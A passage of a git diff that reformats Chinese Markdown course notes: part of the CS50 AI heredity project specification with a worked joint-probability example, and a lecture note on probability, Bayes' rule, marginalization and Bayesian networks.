Harry、James 和 Lily 组成,那么在 `one_gene = {"Harry"}`、`two_genes = {"James"}` 和 `trait = {"Harry"、"James"}` 的情况下调用这个函数,应该计算出 Lily 没有变异基因、Harry 拥有一个变异基因、James 拥有两个变异基因、Harry 表现出该性状、James 表现出该性状和 Lily 没有表现出该性状的联合概率。 - - 对于数据集中没有列出父母的人,使用概率分布 `PROBS["gene"]` 来确定他们有特定数量基因的概率。 - - 对于数据集中有父母的人来说,每个父母都会把他们的两个基因中的一个随机地传给他们的孩子,而且有一个 `PROBS["mutation"]` 的机会,即它会发生突变(从变异基因变成正常基因,或者相反)。 - - 使用概率分布 `PROBS["trait"]` 来计算一个人具有或不具有形状的概率。 -- `update` 函数将一个新的联合分布概率添加到 `probabilities` 中的现有概率分布中。 +- 该函数接受四个数值作为输入:`people`, `one_gene`, `two_genes`, 和 `have_trait`。 - - 该函数接受五个值作为输入:`probabilities`, `one_gene`, `two_genes`, `have_trait`, 和 `p`。 + - `people` 是一个在 "理解"一节中描述的人的字典。键代表名字,值是包含 `mother` 和 `father` 键的字典。你可以假设 `mother` 和 `father` 都是空白的(数据集中没有父母的信息),或者 `mother` 和 `father` 都会指代 `people` 字典中的其他人物。 + - `one_gene` 是一个集合,我们想计算所有集合元素有一个变异基因的概率。 + - `two_genes` 是一个集合,我们想计算所有集合元素有两个变异基因的概率。 + - `have_trait` 是一个集合,我们想计算所有集合元素拥有该性状的概率。 + - 对于不在 `one_gene` 或 t `wo_genes` 中的人,我们想计算他们没有变异基因的概率;对于不在 `have_trait` 中的人,我们想计算他们没有该性状的概率。 - - `probabilities` 是一个在 "理解 "部分提到的字典。每个人都被映射到一个 `"gene"` 分布和一个 `"trait"` 分布。 - - `one_gene` 是一个集合,我们想计算所有集合元素有一个变异基因的概率。 - - `two_genes` 是一个集合,我们想计算所有集合元素有两个变异基因的概率。 - - `have_trait` 是一个集合,我们想计算所有集合元素拥有该性状的概率。 - - `p` 是联合分布的概率。 - - 对于概率中的每个人,该函数应该更新 `probabilities[person]["gene"]` 分布和 `probabilities[person]["trait"]` 分布,在每个分布中的适当数值上加上 `p`。所有其他数值应保持不变。 - - 例如,如果"Harry"同时出现在 `two_genes` 和 `have_trait` 中,那么 `p` 将被添加到 `probabilities["Harry"]["gene"][2]` 和 `probabilities["Harry"]["trait"][True]`。 - - 该函数不应返回任何值:它只需要更新 `probabilities` 字典。 -- `normalize` 函数更新 `probabilities` 字典,使每个概率分布被归一化(即和为 1,相对比例相同)。 +- 例如,如果这个家庭由 Harry、James 和 Lily 组成,那么在 `one_gene = {"Harry"}`、`two_genes = {"James"}` 和 `trait = {"Harry"、"James"}` 的情况下调用这个函数,应该计算出 Lily 没有变异基因、Harry 拥有一个变异基因、James 拥有两个变异基因、Harry 表现出该性状、James 表现出该性状和 Lily 没有表现出该性状的联合概率。 +- 对于数据集中没有列出父母的人,使用概率分布 `PROBS["gene"]` 来确定他们有特定数量基因的概率。 +- 对于数据集中有父母的人来说,每个父母都会把他们的两个基因中的一个随机地传给他们的孩子,而且有一个 `PROBS["mutation"]` 的机会,即它会发生突变(从变异基因变成正常基因,或者相反)。 +- 使用概率分布 `PROBS["trait"]` 来计算一个人具有或不具有形状的概率。 - - 该函数接受一个单一的值:`probabilities`。 +`update` 函数将一个新的联合分布概率添加到 `probabilities` 中的现有概率分布中。 - - `probabilities` 是一个在"理解"部分提到的字典。每个人都被映射到一个 `"gene"` 分布和一个 `"trait"` 分布。 - - 对于 `probabilities` 中每个人的两个分布,这个函数应该将该分布归一化,使分布中的数值之和为 1,分布中的相对数值是相同的。 - - 例如,如果 `probabilities["Harry"]["trait"][True]` 等于 `0.1`,概率 `probabilities["Harry"]["trait"][False]` 等于 `0.3`,那么你的函数应该将前一个值更新为 `0.25`,后一个值更新为 `0.75`: 现在数字之和为 1,而且后一个值仍然比前一个值大三倍。 - - 该函数不应返回任何值:它只需要更新 `probabilities` 字典。 -- 除了规范中要求你实现的三个函数外,你不应该修改 `heredity.py` 中的任何其他东西,尽管你可以编写额外的函数和/或导入其他 Python 标准库模块。如果熟悉的话,你也可以导入 `numpy` 或 `pandas`,但是你不应该使用任何其他第三方 Python 模块。 +- 该函数接受五个值作为输入:`probabilities`, `one_gene`, `two_genes`, `have_trait`, 和 `p`。 + + - `probabilities` 是一个在 "理解 "部分提到的字典。每个人都被映射到一个 `"gene"` 分布和一个 `"trait"` 分布。 + - `one_gene` 是一个集合,我们想计算所有集合元素有一个变异基因的概率。 + - `two_genes` 是一个集合,我们想计算所有集合元素有两个变异基因的概率。 + - `have_trait` 是一个集合,我们想计算所有集合元素拥有该性状的概率。 + - `p` 是联合分布的概率。 +- 对于概率中的每个人,该函数应该更新 `probabilities[person]["gene"]` 分布和 `probabilities[person]["trait"]` 分布,在每个分布中的适当数值上加上 `p`。所有其他数值应保持不变。 +- 例如,如果"Harry"同时出现在 `two_genes` 和 `have_trait` 中,那么 `p` 将被添加到 `probabilities["Harry"]["gene"][2]` 和 `probabilities["Harry"]["trait"][True]`。 +- 该函数不应返回任何值:它只需要更新 `probabilities` 字典。 + +`normalize` 函数更新 `probabilities` 字典,使每个概率分布被归一化(即和为 1,相对比例相同)。 + +- 该函数接受一个单一的值:`probabilities`。 + + - `probabilities` 是一个在"理解"部分提到的字典。每个人都被映射到一个 `"gene"` 分布和一个 `"trait"` 分布。 +- 对于 `probabilities` 中每个人的两个分布,这个函数应该将该分布归一化,使分布中的数值之和为 1,分布中的相对数值是相同的。 +- 例如,如果 `probabilities["Harry"]["trait"][True]` 等于 `0.1`,概率 `probabilities["Harry"]["trait"][False]` 等于 `0.3`,那么你的函数应该将前一个值更新为 `0.25`,后一个值更新为 `0.75`: 现在数字之和为 1,而且后一个值仍然比前一个值大三倍。 +- 该函数不应返回任何值:它只需要更新 `probabilities` 字典。 + +除了规范中要求你实现的三个函数外,你不应该修改 `heredity.py` 中的任何其他东西,尽管你可以编写额外的函数和/或导入其他 Python 标准库模块。如果熟悉的话,你也可以导入 `numpy` 或 `pandas`,但是你不应该使用任何其他第三方 Python 模块。 ## 一个联合概率例子 -- 为了帮助你思考如何计算联合概率,我们在下面附上一个例子。 -- 请考虑以下 `people` 的值: +为了帮助你思考如何计算联合概率,我们在下面附上一个例子。 + +请考虑以下 `people` 的值: ```python { @@ -86,12 +102,17 @@ } ``` -- 这里我们将展示 `joint_probability(people, {"Harry"}, {"James"}, {"James"})` 的计算。根据参数,`one_gene` 是 `{"Harry"}`,`two_genes` 是 `{"James"}`,而 `has_trait` 是 `{"James"}`。因此,这代表了以下的概率:Lily 没有变异基因,不具有该性状;Harry 有一个变异基因,不具有该性状;James 有 2 个变异基因,具有该性状。 -- 我们从 Lily 开始(我们考虑人的顺序并不重要,只要我们把正确的数值乘在一起,因为乘法是可交换的)。Lily 没有变异基因,概率为 `0.96`(这就是 `PROBS["gene"][0]`)。鉴于她没有变异基因,她没有这个性状的概率为 `0.99`(这是 `PROBS["trait"][0][False]`)。因此,她没有变异基因且没有该性状的概率是 `0.96*0.99=0.9504`。 -- 接下来,我们考虑 James。James 有 2 个变异基因,概率为 `0.01`(这是 `PROBS["gene"][2]`)。鉴于他有 2 个变异基因,他确实具有该性状的概率为 `0.65`。因此,他有 2 个变异基因并且他确实具有该性状的概率是 `0.01*0.65=0.0065`。 -- 最后,我们考虑 Harry。Harry 有 1 个变异基因的概率是多少?有两种情况可以发生。要么他从母亲那里得到这个基因,而不是从父亲那里,要么他从父亲那里得到这个基因,而不是从母亲那里。他的母亲 Lily 没有变异基因,所以 Harry 会以 `0.01` 的概率从他母亲那里得到这个基因(这是 `PROBS["mutation"]`),因为从他母亲那里得到这个基因的唯一途径是基因突变;相反,Harry 不会从他母亲那里得到这个基因,概率是 `0.99`。他的父亲 James 有 2 个变异基因,所以 Harry 会以 `0.99` 的概率从他父亲那里得到这个基因(这是 `1-PROBS["mutation"]`),但会以 `0.01` 的概率从他母亲那里得到这个基因(突变的概率)。这两种情况加在一起可以得到 `0.99*0.99+0.01*0.01=0.9802`,即 Harry 有 1 个变异基因的概率。 -- 考虑到 Harry 有 1 个变异基因,他没有该性状的概率是 `0.44`(这是 `PROBS["trait"][1][false]`)。因此,哈利有 1 个变异基因而没有该性状的概率是 `0.9802 * 0.44 = 0.431288`。 -- 因此,整个联合概率是三个人中每个人的所有这些数值相乘的结果: `0.9504 * 0.0065 * 0.431288 = 0.0026643247488`。 +这里我们将展示 `joint_probability(people, {"Harry"}, {"James"}, {"James"})` 的计算。根据参数,`one_gene` 是 `{"Harry"}`,`two_genes` 是 `{"James"}`,而 `has_trait` 是 `{"James"}`。因此,这代表了以下的概率:Lily 没有变异基因,不具有该性状;Harry 有一个变异基因,不具有该性状;James 有 2 个变异基因,具有该性状。 + +我们从 Lily 开始(我们考虑人的顺序并不重要,只要我们把正确的数值乘在一起,因为乘法是可交换的)。Lily 没有变异基因,概率为 `0.96`(这就是 `PROBS["gene"][0]`)。鉴于她没有变异基因,她没有这个性状的概率为 `0.99`(这是 `PROBS["trait"][0][False]`)。因此,她没有变异基因且没有该性状的概率是 `0.96*0.99=0.9504`。 + +接下来,我们考虑 James。James 有 2 个变异基因,概率为 `0.01`(这是 `PROBS["gene"][2]`)。鉴于他有 2 个变异基因,他确实具有该性状的概率为 `0.65`。因此,他有 2 个变异基因并且他确实具有该性状的概率是 `0.01*0.65=0.0065`。 + +最后,我们考虑 Harry。Harry 有 1 个变异基因的概率是多少?有两种情况可以发生。要么他从母亲那里得到这个基因,而不是从父亲那里,要么他从父亲那里得到这个基因,而不是从母亲那里。他的母亲 Lily 没有变异基因,所以 Harry 会以 `0.01` 的概率从他母亲那里得到这个基因(这是 `PROBS["mutation"]`),因为从他母亲那里得到这个基因的唯一途径是基因突变;相反,Harry 不会从他母亲那里得到这个基因,概率是 `0.99`。他的父亲 James 有 2 个变异基因,所以 Harry 会以 `0.99` 的概率从他父亲那里得到这个基因(这是 `1-PROBS["mutation"]`),但会以 `0.01` 的概率从他母亲那里得到这个基因(突变的概率)。这两种情况加在一起可以得到 `0.99*0.99+0.01*0.01=0.9802`,即 Harry 有 1 个变异基因的概率。 + +考虑到 Harry 有 1 个变异基因,他没有该性状的概率是 `0.44`(这是 `PROBS["trait"][1][false]`)。因此,哈利有 1 个变异基因而没有该性状的概率是 `0.9802 * 0.44 = 0.431288`。 + +因此,整个联合概率是三个人中每个人的所有这些数值相乘的结果:`0.9504 * 0.0065 * 0.431288 = 0.0026643247488`。 ## 提示 diff --git a/4.人工智能/4.3.3不确定性问题.md b/4.人工智能/4.3.3不确定性问题.md index f6ed14a..577f8eb 100644 --- a/4.人工智能/4.3.3不确定性问题.md +++ b/4.人工智能/4.3.3不确定性问题.md @@ -1,64 +1,66 @@ # 不确定性问题 -- 上一讲中,我们讨论了人工智能如何表示和推导新知识。然而,在现实中,人工智能往往对世界只有部分了解,这给不确定性留下了空间。尽管如此,我们还是希望我们的人工智能在这些情况下做出尽可能好的决定。例如,在预测天气时,人工智能掌握了今天的天气信息,但无法 100% 准确地预测明天的天气。尽管如此,我们可以做得比偶然更好,今天的讲座是关于我们如何创造人工智能,在有限的信息和不确定性的情况下做出最佳决策。 +上一讲中,我们讨论了人工智能如何表示和推导新知识。然而,在现实中,人工智能往往对世界只有部分了解,这给不确定性留下了空间。尽管如此,我们还是希望我们的人工智能在这些情况下做出尽可能好的决定。例如,在预测天气时,人工智能掌握了今天的天气信息,但无法 100% 准确地预测明天的天气。尽管如此,我们可以做得比偶然更好,今天的讲座是关于我们如何创造人工智能,在有限的信息和不确定性的情况下做出最佳决策。 -## 概率(Probability) +## 概率 (Probability) -- 不确定性可以表示为多个事件以及每一个事件发生的可能性或概率。 +不确定性可以表示为多个事件以及每一个事件发生的可能性或概率。 ### 概率世界 -- 每一种可能的情况都可以被视为一个世界,由小写的希腊字母$ω$表示。例如,掷骰子可以产生六个可能的世界:骰子出现 1 的世界,骰子出现 2 的世界,依此类推。为了表示某个世界的概率,我们写$P(ω)$。 +每一种可能的情况都可以被视为一个世界,由小写的希腊字母$ω$表示。例如,掷骰子可以产生六个可能的世界:骰子出现 1 的世界,骰子出现 2 的世界,依此类推。为了表示某个世界的概率,我们写$P(ω)$。 ### 概率公理 -- $0$。为了便于解释,这些值有一个固定的顺序(在我们的情况下,准时、延迟、取消)。 +用文字来解释概率分布,这意味着航班准时的可能性为 60%,延误的可能性为 30%,取消的可能性为 10%。注意,如前所述,所有可能结果的概率之和为 1。 -### 独立性(Independence) +概率分布可以更简洁地表示为向量。例如,$P(Flight)=<0.6,0.3,0.1>$。为了便于解释,这些值有一个固定的顺序(在我们的情况下,准时、延迟、取消)。 -- 独立性是指一个事件的发生不会影响另一个事件发生的概率。例如,当掷两个骰子时,每个骰子的结果与另一个骰子的结果是独立的。用第一个骰子掷出 4 不会影响我们掷出的第二个骰子的值。这与依赖事件相反,比如早上的云和下午的雨。如果早上多云,下午更有可能下雨,所以这些事件是有依赖性的。 -- 独立性可以用数学定义:事件$a$和$b$是独立的,当且仅当$a$并且$b$的概率等于$a$的概率乘以$b$的概率:$P(a∧b)=P(a)P(b)$。 +### 独立性 (Independence) -## 贝叶斯规则(Bayes’ Rule) +独立性是指一个事件的发生不会影响另一个事件发生的概率。例如,当掷两个骰子时,每个骰子的结果与另一个骰子的结果是独立的。用第一个骰子掷出 4 不会影响我们掷出的第二个骰子的值。这与依赖事件相反,比如早上的云和下午的雨。如果早上多云,下午更有可能下雨,所以这些事件是有依赖性的。 -- 贝叶斯规则在概率论中常用来计算条件概率。换句话说,贝叶斯规则说,给定$b$条件下$a$的概率等于给定$a$的条件下$b$概率,乘以$b$的概率除以$a$ 的概率。 -- $P(b|a)=\frac{P(a|b)P(b)}{P(a)}$ -- 例如,如果早上有云,我们想计算下午下雨的概率,或者$P(雨|云)$。我们从以下信息开始: +独立性可以用数学定义:事件$a$和$b$是独立的,当且仅当$a$并且$b$的概率等于$a$的概率乘以$b$的概率:$P(a∧b)=P(a)P(b)$。 - - 80% 的雨天下午开始于多云的早晨,或$P(云|雨)$。 - - 40% 的日子早晨多云,或$P(云)$。 - - 10% 的日子有下雨的下午,或$P(雨)$。 -- 应用贝叶斯规则,我们计算$\frac{0.8*0.1}{0.4}=0.2$。也就是说,考虑到早上多云,下午下雨的可能性是 20%。 -- 除了$P(a)$和$P(b)$之外,知道$P(a|b)$还允许我们计算$P(b|a)$。这是有帮助的,因为知道给定未知原因的可见效应的条件概率$P(可见效应|未知原因)$,可以让我们计算给定可见效应的未知原因的概率$P(未知原因|可见效应)$。例如,我们可以通过医学试验来学习$P(医学测试结果|疾病)$,在医学试验中,我们对患有该疾病的人进行测试,并观察测试结果发生的频率。知道了这一点,我们就可以计算出$P(疾病|医学检测结果)$,这是有价值的诊断信息。 +## 贝叶斯规则 (Bayes’Rule) -## 联合概率(Joint Probability) +贝叶斯规则在概率论中常用来计算条件概率。换句话说,贝叶斯规则说,给定$b$条件下$a$的概率等于给定$a$的条件下$b$概率,乘以$b$的概率除以$a$ 的概率。 -- 联合概率是指多个事件全部发生的可能性。 -- 让我们考虑下面的例子,关于早上有云,下午有雨的概率。 +$P(b|a)=\frac{P(a|b)P(b)}{P(a)}$ + +例如,如果早上有云,我们想计算下午下雨的概率,或者$P(雨 | 云)$。我们从以下信息开始: + +- 80% 的雨天下午开始于多云的早晨,或$P(云 | 雨)$。 +- 40% 的日子早晨多云,或$P(云)$。 +- 10% 的日子有下雨的下午,或$P(雨)$。 + +应用贝叶斯规则,我们计算$\frac{0.8*0.1}{0.4}=0.2$。也就是说,考虑到早上多云,下午下雨的可能性是 20%。 + +除了$P(a)$和$P(b)$之外,知道$P(a|b)$还允许我们计算$P(b|a)$。这是有帮助的,因为知道给定未知原因的可见效应的条件概率$P(可见效应 | 未知原因)$,可以让我们计算给定可见效应的未知原因的概率$P(未知原因 | 可见效应)$。例如,我们可以通过医学试验来学习$P(医学测试结果 | 疾病)$,在医学试验中,我们对患有该疾病的人进行测试,并观察测试结果发生的频率。知道了这一点,我们就可以计算出$P(疾病 | 医学检测结果)$,这是有价值的诊断信息。 + +## 联合概率 (Joint Probability) + +联合概率是指多个事件全部发生的可能性。 + +让我们考虑下面的例子,关于早上有云,下午有雨的概率。 | C=云 | C=$\lnot$云 | | ---- | ----------- | @@ -99,114 +108,116 @@ $P(Flight=取消)=0.1$ | ---- | ----------- | | 0.1 | 0.9 | -- 从这些数据来看,我们无法判断早上的云是否与下午下雨的可能性有关。为了做到这一点,我们需要看看这两个变量所有可能结果的联合概率。我们可以将其表示在下表中: +从这些数据来看,我们无法判断早上的云是否与下午下雨的可能性有关。为了做到这一点,我们需要看看这两个变量所有可能结果的联合概率。我们可以将其表示在下表中: | | R=雨 | R=$\lnot$ 雨 | | ----------- | ---- | ------------ | | C=云 | 0.08 | 0.32 | | C=$\lnot$云 | 0.02 | 0.58 | -- 现在我们可以知道有关这些事件同时发生的信息了。例如,我们知道某一天早上有云,下午有雨的概率是 0.08。早上没有云,下午没有雨的概率是 0.58。 -- 使用联合概率,我们可以推导出条件概率。例如,如果我们感兴趣的是在下午下雨的情况下,早上云层的概率分布。$P(C|雨)=\frac{P(C,雨)}{P(雨)}$旁注:在概率上,逗号和$∧$可以互换使用。因此,$P(C,雨)=P(C\land 雨)$。换句话说,我们将降雨和云层的联合概率除以降雨的概率。 -- 在最后一个方程中,可以将$P(雨)$视为$P(C,雨)$乘以的某个常数$\alpha=\frac{1}{P(雨)}$。因此,我们可以重写$P(C|雨)=\frac{P(C,雨)}{P(雨)}=αP(C,雨)$,或$α<0.08,0.02>=<0.8,0.2>$。考虑到下午有雨,将$α$分解后,我们可以得到 C 的可能值的概率比例。也就是说,如果下午有雨,那么早上有云和早上没有云的概率的比例是$0.08:0.02$。请注意,0.08 和 0.02 的总和不等于 1;然而,由于这是随机变量 C 的概率分布,我们知道它们应该加起来为 1。因此,我们需要通过算$α$来归一化这些值,使得$α0.08+α0.02=1$。最后,我们可以说$P(C|雨)=<0.8,0.2>$。 +现在我们可以知道有关这些事件同时发生的信息了。例如,我们知道某一天早上有云,下午有雨的概率是 0.08。早上没有云,下午没有雨的概率是 0.58。 -## 概率规则(Probability Rules) +使用联合概率,我们可以推导出条件概率。例如,如果我们感兴趣的是在下午下雨的情况下,早上云层的概率分布。$P(C|雨)=\frac{P(C,雨)}{P(雨)}$旁注:在概率上,逗号和$∧$可以互换使用。因此,$P(C,雨)=P(C\land 雨)$。换句话说,我们将降雨和云层的联合概率除以降雨的概率。 -- 否定(Negation): $P(\lnot a)=1-P(a)$。这源于这样一个事实,即所有可能世界的概率之和为 1,互补事件$\lnot a$和 $a$ 包括所有可能世界。 -- 包含-排除 Inclusion-Exclusion:$P(a\lor b)=P(a)+P(b)-P(a\land b)$。这可以用以下方式解释:$a$或$b$为真的世界等于$a$为真的所有世界,加上$b$为真的所有世界。然而,在这种情况下,有些世界被计算两次(a和$b$都为真的世界)。为了消除这种重叠,我们将$a$和$b$ 都为真的世界减去一次(因为它们被计算了两次)。 +在最后一个方程中,可以将$P(雨)$视为$P(C,雨)$乘以的某个常数$\alpha=\frac{1}{P(雨)}$。因此,我们可以重写$P(C|雨)=\frac{P(C,雨)}{P(雨)}=αP(C,雨)$,或$α<0.08,0.02>=<0.8,0.2>$。考虑到下午有雨,将$α$分解后,我们可以得到 C 的可能值的概率比例。也就是说,如果下午有雨,那么早上有云和早上没有云的概率的比例是$0.08:0.02$。请注意,0.08 和 0.02 的总和不等于 1;然而,由于这是随机变量 C 的概率分布,我们知道它们应该加起来为 1。因此,我们需要通过算$α$来归一化这些值,使得$α0.08+α0.02=1$。最后,我们可以说$P(C|雨)=<0.8,0.2>$。 -> 下面是一个例子,可以说明这一点。假设我 80% 的时间吃冰淇淋,70% 的时间吃饼干。如果我们计算今天我吃冰淇淋或饼干的概率,不减去$P(冰淇淋∧饼干)$,我们错误地得出 0.7+0.8=1.5。这与概率在 0 和 1 之间的公理相矛盾。为了纠正我同时吃冰淇淋和饼干的天数计算两次的错误,我们需要减去$P(冰淇淋∧饼干)$一次。 +## 概率规则 (Probability Rules) -- 边缘化(Marginalization):$P(a)=P(a,b)+P(a,\lnot b)$。这里的观点是,$b$和$\lnot b$是独立的概率。也就是说,$b$和$\lnot b$同时发生的概率为0。我们也知道$b$和$\lnot b$的总和为1。因此,当$a$发生时,$b$可以发生也可以不发生。当我们把$a$和$b$发生的概率加上$a$和$\lnot b$的概率时,我们得到的只是$a$ 的概率。 -- 随机变量的边缘化可以用:$P(X=x_i)=\sum_jP(X=x_i,Y=y_j)$表示 -- 方程的左侧表示“随机变量$X$具有$x_i$值的概率” 例如,对于我们前面提到的变量C,两个可能的值是早上有云和早上没有云。等式的正确部分是边缘化的概念。$P(X=x_i)$等于$x_i$以及随机变量$Y$的每一个值的所有联合概率之和。例如,$P(C=云)=P(C=云,R=雨)+P(C=云,R=\lnot 雨)=0.08+0.32=0.4$。 +- 否定 (Negation): $P(\lnot a)=1-P(a)$。这源于这样一个事实,即所有可能世界的概率之和为 1,互补事件$\lnot a$和 $a$ 包括所有可能世界。 +- 包含 - 排除 Inclusion-Exclusion:$P(a\lor b)=P(a)+P(b)-P(a\land b)$。这可以用以下方式解释:$a$或$b$为真的世界等于$a$为真的所有世界,加上$b$为真的所有世界。然而,在这种情况下,有些世界被计算两次(a 和$b$都为真的世界)。为了消除这种重叠,我们将$a$和$b$ 都为真的世界减去一次(因为它们被计算了两次)。 - - 条件边缘化: $P(a)=P(a|b)P(b)+P(a|\lnot b)P(\lnot b)$。这是一个类似于边缘化的想法。事件$a$发生的概率等于给定$b$的概率乘以$b$的概率,再加上给定$\lnot b$的概率乘以$\lnot b$ 的概率。 - - $P(X=x_i)=\sum_jP(X=x_i|Y=y_i)P(Y=y_i)$ - - 在这个公式中,随机变量$X$取$x_i$值概率等于$x_i$以及随机变量$Y$的每个值的联合概率乘以变量$Y$取该值的概率之和。如果我们还记得$P(a|b)=\frac{P(a,b)}{P(b)}$,就可以理解这个公式。如果我们将这个表达式乘以$P(b)$,我们得到$P(a,b)$,从这里开始,我们做的与边缘化相同。 + > 下面是一个例子,可以说明这一点。假设我 80% 的时间吃冰淇淋,70% 的时间吃饼干。如果我们计算今天我吃冰淇淋或饼干的概率,不减去$P(冰淇淋∧饼干)$,我们错误地得出 0.7+0.8=1.5。这与概率在 0 和 1 之间的公理相矛盾。为了纠正我同时吃冰淇淋和饼干的天数计算两次的错误,我们需要减去$P(冰淇淋∧饼干)$一次。 +- 边缘化 (Marginalization):$P(a)=P(a,b)+P(a,\lnot b)$。这里的观点是,$b$和$\lnot b$是独立的概率。也就是说,$b$和$\lnot b$同时发生的概率为 0。我们也知道$b$和$\lnot b$的总和为 1。因此,当$a$发生时,$b$可以发生也可以不发生。当我们把$a$和$b$发生的概率加上$a$和$\lnot b$的概率时,我们得到的只是$a$ 的概率。 -## 贝叶斯网络(Bayesian Networks) + 随机变量的边缘化可以用:$P(X=x_i)=\sum_jP(X=x_i,Y=y_j)$表示 -- 贝叶斯网络是一种表示随机变量之间相关性的数据结构。贝叶斯网络具有以下属性: + 方程的左侧表示“随机变量$X$具有$x_i$值的概率”例如,对于我们前面提到的变量 C,两个可能的值是早上有云和早上没有云。等式的正确部分是边缘化的概念。$P(X=x_i)$等于$x_i$以及随机变量$Y$的每一个值的所有联合概率之和。例如,$P(C=云)=P(C=云,R=雨)+P(C=云,R=\lnot 雨)=0.08+0.32=0.4$。 - - 它们是有向图。 - - 图上的每个节点表示一个随机变量。 - - 从 X 到 Y 的箭头表示 X 是 Y 的父对象。也就是说,Y 的概率分布取决于 X 的值。 - - 每个节点 X 具有概率分布$P(X|Parents(X))$。 -- 让我们考虑一个贝叶斯网络的例子,该网络包含影响我们是否按时赴约的随机变量。 +- 条件边缘化:$P(a)=P(a|b)P(b)+P(a|\lnot b)P(\lnot b)$。这是一个类似于边缘化的想法。事件$a$发生的概率等于给定$b$的概率乘以$b$的概率,再加上给定$\lnot b$的概率乘以$\lnot b$ 的概率。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/GKc6be6ueopUYZxxQg4cS4AVnmb.png) + $P(X=x_i)=\sum_jP(X=x_i|Y=y_i)P(Y=y_i)$ -- 让我们从上到下描述这个贝叶斯网络: + 在这个公式中,随机变量$X$取$x_i$值概率等于$x_i$以及随机变量$Y$的每个值的联合概率乘以变量$Y$取该值的概率之和。如果我们还记得$P(a|b)=\frac{P(a,b)}{P(b)}$,就可以理解这个公式。如果我们将这个表达式乘以$P(b)$,我们得到$P(a,b)$,从这里开始,我们做的与边缘化相同。 - - rain 是这个网络的根节点。这意味着它的概率分布不依赖于任何先前的事件。在我们的例子中,Rain 是一个随机变量,可以采用以下概率分布的值$\set{none,light,heavy}$: +## 贝叶斯网络 (Bayesian Networks) -| none | light | heavy | -| ---- | ----- | ----- | -| 0.7 | 0.2 | 0.1 | +贝叶斯网络是一种表示随机变量之间相关性的数据结构。贝叶斯网络具有以下属性: +- 它们是有向图。 +- 图上的每个节点表示一个随机变量。 +- 从 X 到 Y 的箭头表示 X 是 Y 的父对象。也就是说,Y 的概率分布取决于 X 的值。 +- 每个节点 X 具有概率分布$P(X|Parents(X))$。 -- Maintenance对是否有列车轨道维护进行编码,取值为$\set{yes,no}$。Rain是Maintenance的父节点,这意味着Maintenance概率分布受到Rain的影响。 +让我们考虑一个贝叶斯网络的例子,该网络包含影响我们是否按时赴约的随机变量。 +![](https://cdn.xyxsw.site/GKc6be6ueopUYZxxQg4cS4AVnmb.png) -| R | yes | no | -| ----- | --- | --- | -| none | 0.4 | 0.6 | -| light | 0.2 | 0.8 | -| heavy | 0.1 | 0.9 | +让我们从上到下描述这个贝叶斯网络: +- rain 是这个网络的根节点。这意味着它的概率分布不依赖于任何先前的事件。在我们的例子中,Rain 是一个随机变量,可以采用以下概率分布的值$\set{none,light,heavy}$: -- Train是一个变量,用于编码列车是准时还是晚点,取值为$\set{on\ time,delayed}$。请注意,列车上被“Maintenance”和“rain”指向。这意味着两者都是Train的父对象,它们的值会影响Train的概率分布。 + | none | light | heavy | + | ---- | ----- | ----- | + | 0.7 | 0.2 | 0.1 | +- Maintenance 对是否有列车轨道维护进行编码,取值为$\set{yes,no}$。Rain 是 Maintenance 的父节点,这意味着 Maintenance 概率分布受到 Rain 的影响。 -| R | M | On time | Delayed | -| ------ | --- | ------- | ------- | -| none | yes | 0.8 | 0.2 | -| none | no | 0.9 | 0.1 | -| light | yes | 0.6 | 0.4 | -| light | no | 0.7 | 0.3 | -| heavry | yes | 0.4 | 0.6 | -| heavy | no | 0.5 | 0.5 | + | R | yes | no | + | ----- | --- | --- | + | none | 0.4 | 0.6 | + | light | 0.2 | 0.8 | + | heavy | 0.1 | 0.9 | +- Train 是一个变量,用于编码列车是准时还是晚点,取值为$\set{on\ time,delayed}$。请注意,列车上被“Maintenance”和“rain”指向。这意味着两者都是 Train 的父对象,它们的值会影响 Train 的概率分布。 -- Appointment 是一个随机变量,表示我们是否参加约会,取值为$\set{attend, miss}$。请注意,它唯一的父级是Train。关于贝叶斯网络的这一点值得注意:父子只包括直接关系。的确,Maintenance会影响Train是否准时,而Train是否准时会影响我们是否赴约。然而,最终,直接影响我们赴约机会的是Train是否准时,这就是贝叶斯网络所代表的。例如,如果火车准时到达,可能会有大雨和轨道维护,但这对我们是否赴约没有影响。 + | R | M | On time | Delayed | + | ------ | --- | ------- | ------- | + | none | yes | 0.8 | 0.2 | + | none | no | 0.9 | 0.1 | + | light | yes | 0.6 | 0.4 | + | light | no | 0.7 | 0.3 | + | heavry | yes | 0.4 | 0.6 | + | heavy | no | 0.5 | 0.5 | +- Appointment 是一个随机变量,表示我们是否参加约会,取值为$\set{attend, miss}$。请注意,它唯一的父级是 Train。关于贝叶斯网络的这一点值得注意:父子只包括直接关系。的确,Maintenance 会影响 Train 是否准时,而 Train 是否准时会影响我们是否赴约。然而,最终,直接影响我们赴约机会的是 Train 是否准时,这就是贝叶斯网络所代表的。例如,如果火车准时到达,可能会有大雨和轨道维护,但这对我们是否赴约没有影响。 -| T | attend | miss | -| ------- | ------ | ---- | -| on time | 0.9 | 0.1 | -| delayed | 0.6 | 0.4 | + | T | attend | miss | + | ------- | ------ | ---- | + | on time | 0.9 | 0.1 | + | delayed | 0.6 | 0.4 | +例如,如果我们想找出在没有维护和小雨的一天火车晚点时错过约会的概率,或者$P(light,no,delayed,miss)$,我们将计算如下:$P(light)P(no|light)P(delayed|light,no)P(miss|delayed)$。每个单独概率的值可以在上面的概率分布中找到,然后将这些值相乘以产生$P(light,no,delayed,miss)$。 -- 例如,如果我们想找出在没有维护和小雨的一天火车晚点时错过约会的概率,或者$P(light,no,delayed,miss)$,我们将计算如下:$P(light)P(no|light)P(delayed|light,no)P(miss|delayed)$。每个单独概率的值可以在上面的概率分布中找到,然后将这些值相乘以产生$P(light,no,delayed,miss)$。 +### 推理 (Inference) - -### 推理(Inference) - -- 在知识推理,我们通过蕴含来看待推理。这意味着我们可以在现有信息的基础上得出新的信息。我们也可以根据概率推断出新的信息。虽然这不能让我们确切地知道新的信息,但它可以让我们计算出一些值的概率分布。推理具有多个属性。 +在知识推理,我们通过蕴含来看待推理。这意味着我们可以在现有信息的基础上得出新的信息。我们也可以根据概率推断出新的信息。虽然这不能让我们确切地知道新的信息,但它可以让我们计算出一些值的概率分布。推理具有多个属性。 - Query 查询变量 $X$:我们要计算概率分布的变量。 - Evidence variables 证据变量$E$: 一个或多个观测到事件$e$ 的变量。例如,我们可能观测到有小雨,这一观测有助于我们计算火车延误的概率。 - Hidden variables 隐藏变量 $H$: 